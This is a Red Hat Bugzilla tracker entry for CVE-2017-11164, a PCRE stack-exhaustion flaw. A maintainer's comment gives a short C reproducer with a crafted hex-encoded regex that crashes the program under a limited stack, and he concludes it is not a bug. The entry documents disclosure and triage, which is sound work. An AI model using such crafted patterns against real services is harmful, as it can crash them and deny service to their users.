Bug 1470107 (CVE-2017-11164) - CVE-2017-11164 pcre: OP_KETRMAX feature in the match function in pcre_exec.c
Summary: CVE-2017-11164 pcre: OP_KETRMAX feature in the match function in pcre_exec.c
Keywords:
Status: CLOSED WONTFIX
Alias: CVE-2017-11164
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
low
low
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
URL:
Whiteboard:
Depends On: 1470108 1470109 1470110 1470111 1470112 1470113
Blocks:
TreeView+ depends on / blocked
 
Reported: 2017-07-12 12:09 UTC by Andrej Nemec
Modified: 2019-09-29 14:16 UTC (History)
36 users (show)

Fixed In Version:
Doc Type: If docs needed, set a value
Doc Text:
Clone Of:
Environment:
Last Closed: 2017-07-12 12:10:36 UTC
Embargoed:


Attachments (Terms of Use)

Description Andrej Nemec 2017-07-12 12:09:35 UTC
In PCRE 8.41, the OP_KETRMAX feature in the match function in pcre_exec.c allows stack exhaustion (uncontrolled recursion) when processing a crafted regular expression.

References:

http://seclists.org/oss-sec/2017/q3/111

Comment 1 Andrej Nemec 2017-07-12 12:09:56 UTC
Created glib2 tracking bugs for this issue:

Affects: fedora-all [bug 1470109]


Created mingw-glib2 tracking bugs for this issue:

Affects: epel-7 [bug 1470110]
Affects: fedora-all [bug 1470113]


Created mingw-pcre tracking bugs for this issue:

Affects: epel-7 [bug 1470112]
Affects: fedora-all [bug 1470108]


Created pcre tracking bugs for this issue:

Affects: fedora-all [bug 1470111]

Comment 2 Petr Pisar 2017-07-17 09:32:00 UTC
PCRE uses stack-based recursive algorithm for matching by default. The reproducer:

#include <pcreposix.h>
int main(void) {
    regex_t regtmp;

    if(regcomp(&regtmp,
                "\x28\x61\x2A\x5C\x56\x2A\x5C\x43\x2B\x29\x2A\x6F\xE5\xA2\x80",
                REG_UTF8) == 0) {  
        regmatch_t pmatch[1];
        regexec(&regtmp, "\x6C\x6F\xE5\xA2\x80\x2D ", 1, pmatch, 0);
        regfree(&regtmp);
    }
    return 0;
}

compiled with:

$ gcc $(pcre-config --cflags-posix --libs-posix) test.c -O0 -g

requires around 58000 KB of stack:

# su - test -c 'ulimit -s 57000 && /tmp/a.out'
Segmentation fault (core dumped)
# su - test -c 'ulimit -s 58000 && /tmp/a.out'

In my opinion this is not a bug.


Note You need to log in before you can comment on or make changes to this bug.